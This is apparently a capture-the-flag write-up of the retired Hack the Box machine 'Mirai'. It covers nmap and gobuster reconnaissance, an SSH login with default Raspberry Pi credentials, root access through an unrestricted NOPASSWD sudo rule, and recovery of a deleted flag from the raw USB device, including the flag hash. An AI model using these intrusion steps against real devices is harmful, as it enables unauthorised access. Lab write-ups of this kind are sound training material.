Write-up - Hack the Box - Mirai
This is how I approached the retired box ‘Mirai’ from Hack the box.
The box IP I’ll be using throughout the article is 10.129.101.222.
Scanning - NMap
The first step I usually take is to do a TCP SYN scan of the box.
$ sudo nmap -sS 10.129.101.222
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-22 15:18 EST
Nmap scan report for 10.129.101.222
Host is up (0.020s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
With the -sV
option of NMap, I then retrieved the name and version of the services running on the open ports:
$ sudo nmap -sS -sV 10.129.101.222 -p 22,80,53
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 02:19 EST
Nmap scan report for 10.129.99.109
Host is up (0.017s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
53/tcp open domain dnsmasq 2.76
80/tcp open http lighttpd 1.4.35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.35 seconds
Webserver
The NMap scan showed that there is a webserver running on port 80. Navigating to http://10.129.101.222 with the browser shows a blank page.
I then ran Gobuster to see if there are any interesting directories.
$ gobuster dir --url http://10.129.101.222 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.129.101.222
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/02/18 02:24:05 Starting gobuster
===============================================================
/admin (Status: 301)
/versions (Status: 200)
===============================================================
2021/02/18 02:30:50 Finished
===============================================================
Navigating to http://10.129.101.222/admin reveals a Pi-hole admin console.
The most commonly used OS for raspberry Pi is Raspberry Pi OS. This operating system comes with a default user with credentials “pi/raspberry”. Since the NMap scan showed that port 22 is open, I tried to ssh using the default credentials.
$ ssh pi@10.129.99.109
The authenticity of host '10.129.101.222 (10.129.101.222)' can't be established.
ECDSA key fingerprint is SHA256:UkDz3Z1kWt2O5g2GRlullQ3UY/cVIx/oXtiqLPXiXMY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.101.222' (ECDSA) to the list of known hosts.
pi@10.129.101.222's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 27 14:47:50 2017 from localhost
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
pi@raspberrypi:~ $
Now that we managed to log in, we can read the user flag in /home/pi/user.txt
.
Sudoers
Since we have credentials for the user, we could be able to use sudo
. To determine whether we are allowed to sudo, we can use the list -l
option.
pi@raspberrypi:~ $ sudo -l
Matching Defaults entries for pi on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pi may run the following commands on localhost:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
The sudoers syntax is quite complex, but let’s dissect the output of this sudo -l
.
-
(ALL : ALL)
: this is the ‘run as’ clause. It specifies the target user and the target group (i.e., which users could be used when runningsudo -u
or which groups when runningsudo -g
). If this clause is not present, the user will only be able to run commands as root. If only a username is specified (for example(xi)
) or only a group (for example(:xi-group)
), then one could only usesudo -u xi
orsudo -g xi-group
respectively. Here we have(ALL : ALL)
, which means any user and any group can be used. -
(ALL : ALL) ALL
: The lastALL
refers to which commands can be run as the users specified by the ‘run as’ clause. So, if we had(xi : xi-group) /usr/bin/ls
, we would only be able to run as userxi
or as groupxi-group
the command/usr/bin/ls
. In this case,ALL
means all commands. -
Between the ‘run as’ clause and the ‘commands’ clause, there are additional options. In the last line we have
NOPASSWD:
. This means that we can run any command as any user, without entering a password!!
When there are more specifications for a single user, the last one is used. Therefore, we can run any command as any user without password.
pi@raspberrypi:~ $ sudo su root
root@raspberrypi:/home/pi#
Getting the root flag
The root flag should be located in /root/root.txt
…
root@raspberrypi:/home/pi# cat /root/root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
Oh no! Quick! Let’s find any USB stick plugged into the Raspberry Pi.
root@raspberrypi:/home/pi# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 10G 0 disk
├─sda1 8:1 0 1.3G 0 part /lib/live/mount/persistence/sda1
└─sda2 8:2 0 8.7G 0 part /lib/live/mount/persistence/sda2
sdb 8:16 0 10M 0 disk /media/usbstick
sr0 11:0 1 1024M 0 rom
loop0 7:0 0 1.2G 1 loop /lib/live/mount/rootfs/filesystem.squashfs
/media/usbstick
is promising. Inside it we see:
root@raspberrypi:/home/pi# ls /media/usbstick/
damnit.txt lost+found
Uh oh, the name of the file is all but promising. And indeed…
root@raspberrypi:/home/pi# cat /media/usbstick/damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
When deleting a file from a storage device, only the reference to where the file is located in memory is deleted. The content of the deleted files should still be on the USB stick, unless it has been overwritten with new data.
When one writes to an external device, the operating system does not communicate directly to drivers (more information can be found here). It passes data to a device file, which then passes it on to the driver, which in turns writes it to the physical device. Device files are thus a sort of portal to the drivers. Through the device file, we can access the raw content of the USB stick.
In the same way as we look for strings in an executable, we can use the strings
command to retrieve all sequences (in this case I filter out those shorter than 10 characters) of ascii characters present on the device.
root@raspberrypi:/home/pi# strings -n 10 /dev/sdb
/media/usbstick
lost+found
damnit.txt
/media/usbstick
lost+found
damnit.txt
/media/usbstick
lost+found
damnit.txt
3d3e483143ff12ec505d026fa13e020b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
Just before the content of the damnit.txt
file that we had found earlier, we see a hash. This is the root flag!